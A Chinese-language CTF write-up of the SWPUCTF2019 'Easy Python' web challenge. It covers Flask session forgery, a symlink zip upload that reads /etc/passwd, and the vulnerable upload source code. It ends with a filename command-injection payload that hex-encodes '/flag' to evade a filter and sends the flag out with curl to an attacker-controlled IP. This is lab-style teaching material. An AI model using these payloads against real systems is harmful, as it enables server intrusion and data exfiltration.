CTF Web安全

[SWPUCTF2019]Easy Python(flask session伪造+软链接+命令执行bypass)

Posted on 2020-01-22,5 min read

浏览器标签中提示了。CTF-Flask-demo
说明这是个Flask框架。随便输入登陆。用户名会显示在主页上


进入upload页面。提示没权限。

明显的session伪造。
那么。我们就需要去找密钥。
在404返回中。我们找到了密钥

开始伪造。一开始用python2伪造。发现不行。用python3就可以了
伪造后刷新。用户名已经变成了admin

尝试文件上传jpg。返回zip only allowed
zip。。之前做过类似的题目。zip软连接。
链接个/etc/passwd试试手

ln -s /etc/passwd link
zip -ry test.zip link

成功返回/etc/passwd

直接读/flag。直接还是passwd的内容????

接下来就要找flag路径了
右键源代码。看到了源码

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

最后那个/showflag是废的。True怎么==False
但至少。我们知道了flag在./flag/flag.jpg
这里通过路径读取flag有两种解法。
1:
在Linux中/proc/self/cmd会指向当前目录
/proc/self/cmd/flag/flag.jpg=./flag/flag.jpg
所以。我们构造一个软链接就可以读取flag

2:
在Linux中/proc/self/environ包含了进程所有的环境变量。可以在里面获取flask的绝对路径。然后软链接


通过命令执行取读取flag

这里进行了命令拼接。但是不能出现分号斜杠点竖杠flag字符
由于buuctf的靶机访问不了外网。我们就试一下payload
我们可以通过$()这种格式。执行命令。

成功执行了ls。并且在zip中以参数运行。ls是最先执行的
也就是说。ls->zip

虽然在web中会没回显。但是我们可以通过外带数据。拿到flag
curl是可以访问的

如图。用反引号最先执行。获得flag内容。然后再括号内运行。将flag内容作为参数。用curl请求

但是。题目过滤了flag。和/这类的字符。
还记得PHP下的chr(xx)绕过字符吗。
Linux也可以

我们需要绕过/flag/flag.jpg
而/和flag都被过滤
那么我们可以构造
a=/flag
然后aaa.jpg

思路明确了。下面开始写exp
$(a=`printf '\x2f\x66\x6c\x61\x67'`&&curl 192.168.0.149:8080/`cat .$a$a.jpg`).zip

做题时。把IP换成VPS地址就好了

下一篇: [SWPUCTF 2018]SimplePHP(POP链phar反序列化)→